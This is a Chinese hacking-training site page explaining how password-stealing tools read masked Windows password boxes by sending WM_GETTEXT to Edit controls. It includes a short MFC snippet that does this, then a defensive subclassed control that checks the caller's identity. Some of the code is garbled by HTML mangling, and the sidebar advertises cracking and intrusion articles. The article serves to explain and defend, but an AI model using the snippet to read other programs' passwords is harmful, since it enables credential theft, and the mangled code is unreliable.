首页
┆
文章中心
┆
动画中心
┆
软件中心
┆
VIP咨询
┆
投稿方式
┆
交流论坛┆
搜搜电影
┆
QQ表情
>> 最新文章
黑色旋风Hack版-Ghost_XP V1.0 正
加入黑旋终身会员,赠送7位无保Q
黑色旋风教程软件投稿方式说明(
金山毒霸2009全面启用“云安全”
利用跨站脚本攻击(XSS)摧毁Web
Vista SP2新测试版16497网上泄
安全技术:配置IIS蜜罐抵御黑客攻
辽宁男子利用黑客技术攻击新浪服
必须具备的反侦察能力
Windows操作系统无毒的两个技巧
攻击新浪网黑客被抓
批量获得kaspersky(卡巴斯基)key
如何禁止在客户端安装软件的设置
协同作战 三招抓出系统启动蛀虫
三点细节决定企业路由器管理成败
从电池到冷焊机 网络推广之我谈
另类推广让我的小站每日爆增几千
地方性SNS网站线上推广实战总结
26招让你快速有效推广网站
各种线上推广投入产出比
关于娱乐站流量上不去的诊断
传统行业如何改变冰冷形象推广产
公布一个日收一百元免费培训的骗
我的付出与回报不成正比例
做Alimama的广告 2000多元的收入
我们如何通过网络赚钱
搜索引擎改善用户体验才是王道
我谈百度收录的方法
如何通过优化dedecms的seo来做淘
google最近现象杂谈
网站内页排名高于首页排名的原因
爱死GG了 但GG不爱我
SEO中注意域名与IP问题
博客自定义Permalink的最佳写法
SEO心得:外链专业虽然重要 但广
SEO葵花寶典:GOOGLE病毒性营销案
SEO原罪之站长要像鸡像虎又像鹅
2个月SEO实践经验总结
如何获得大量优质外链
Google用“原窗口”开启网页的困
谈外链对整个网站的SEO影响有多大
解释一下Link和Domain的区别
解释朋友的问题:URL标准化是什么
上网第一种就是这些人不是阅读网
难道是Google算法泄密
七天之后网站SEO优化我也是专家了
完全分析竞争对手反向链接
网站优化的几个要点
SEO关键字排名VS用户体验谁更重要
无需拐弯抹角 直接入侵BBSXP论坛
解决邮件群发进入垃圾邮件的办法
做好google Adsense广告联盟的技
Discuz! 6.x/7.x SODB-2008-13 E
几款“加密”软件的破解方法
11月24日将迎来今年最大一次网络
为什么你的网站会被黑客攻击
教你如何通过路由器来控制上网
php漏洞原理浅谈
挖掘Cookies背后安全隐患
在Linux下配置多线路ADSL的方法
您现在的位置:
黑色旋风网络安全培训基地
>>
文章中心
>>
黑客编程
>> 教程正文
黑客探取密码的原理及防范
作者:佚名 教程来源:不详 点击数: 更新时间:2008-6-26
一、非法获取Password的原理:
Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这
个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。
二、黑客软件工作方法
首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下:
//将客户坐标转换成屏幕坐标
ClientToScreen(amp;point);
//返回一个包含指定屏幕坐标点的窗口
CWnd* pWnd = CWnd::WindowFromPoint(point);
if (pWnd)
{
//获取窗口句柄
HWND hwndCurr = pWnd->GetSafeHwnd();
if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) !=
(::GetWindowThreadProcessId (hwndCurr, NULL)))
{
char lpClassName[255];
//获取类名
if (::GetClassName(hwndCurr, lpClassName, 255))
{
//判断是否是Edit控件
if (0 == m_strWndClass.CompareNoCase("EDIT"))
{
//获取窗口风格
LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);
//如果设置了ES_PASSWORD属性
if (lStyle amp; ES_PASSWORD)
{
char szText[255];
//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);
//密码已保存在szText中
m_strPassword = szText;
}
}
}
}
}
上述代码中值得注意的有以下几个关键地方:
ClientToScreen(amp;point);
CWnd* pWnd = CWnd::WindowFromPoint(point);
HWND hwndCurr = pWnd->GetSafeHwnd();
这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。 ::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);
这便是真正起作用的SendMessage了,其第一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。
三、防范措施
既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种方法来验证发送消息者的身份是否合法:
1.创建新CEdit类
从CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity;
然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:
LRESULTCPasswordEdit:efWindowProc (UINTmessage,WPARAMwParam,LPARAMlParam)
{ //对Edit的内容获取必须通过以下两个消息之一
if((message==WM_GETTEXT)
(message==EM_GETLINE)) { //检查是否为合法
if(!g_bSenderIdentity)
{
//非法获取,显示信息
AfxMessageBox(_T ("报告:正在试图窃取密码!"));
return 0;
}
//合法获取
g_bSenderIdentity=FALSE;
}
return CEdit:efWindowProc (message,wParam,lParam);
}
2.在数据输入对话框中做些处理
在对话框中申明一个类成员m_edtPassword: CpasswordEdit m_edtPassword;
然后在对话框的OnInitDialog()中加入下列代码: m_edtPassword.SubclassDlgItem(IDC_EDIT_PASSWORD,this);
将控制与新类做关联。之后要在对话框的数据交换函数中将身份设为合法: void CDlgInput:oDataExchange (CDataExchange*pDX)
{ //如果获取数据
//注意:对于CPropertyPage类这里不需要if (pDX->m_bSaveAndValidate)条件
if(pDX->m_bSaveAndValidate)
{
g_bSenderIdentity=TRUE;
}
CDialog:oDataExchange(pDX);
//{{AFX_DATA_MAP(CDlgInput)
DDX_Text (pDX,IDC_EDIT_PASSWORD,m_sPassword); //}}AFX_DATA_MAP
}
这样,Password输入框就拥有了合法身份,会受到保护。
结论:
以上的方法仅针对VC程序,对于其他语言如VB、Delphi等语言,需要借助VC做一个Password的ActiveX控件,实现方法与上述方法基本类似。以上程序均用VisualC++6.0编制调试通过。
Tags:
你想学习黑客嘛?想学习网络安全知识嘛?黑旋为您量身打造,咨询QQ:471664
上一篇教程:
菜鸟脱ExeCryptor的笔记
下一篇教程:
软件保护中常见自校检分析实例
黑客探取密码的原理及防范最新动画
黑客探取密码的原理及防范实例演示
黑客探取密码的原理及防范免费版本
黑客探取密码的原理及防范破解版本
黑客探取密码的原理及防范注册机
黑客探取密码的原理及防范汉化
教程均为本站原创或者网上经典教程转载,如果侵犯了您的权益,请联系我们。投稿邮箱:hackp2008@126.com
为了方便您以后快速的找到这篇文章,建议您:
把本文收藏至QQ书签
|
把本文收藏到收藏夹
|
把本文收藏到百度搜藏
+
版权声明
+
合作伙伴
+
友情链接
+
广告投放
+
教程投稿
+
本站论坛
+
联系我们
+
Copyright
©
2006-2008 Hackp.com. All rights reserved. Best viewed by 1024 * 768 Ie6.0 +
版权所有
©
2006-2008 黑色旋风网安基地. 本站最佳浏览方式为1024*768分辨率 IE6.0以上浏览器
-- -- -- -- -- -- -- -- -- 打造最大的网络安全学习培训基地 -- -- -- -- -- -- -- -- --
站长QQ:83080676 广告业务QQ:471664 VIP咨询QQ:471664 投稿邮箱:
hackp2008@126.com
中华人民共和国电信与信息服务业务经营许可证编号
浙ICP备06053268号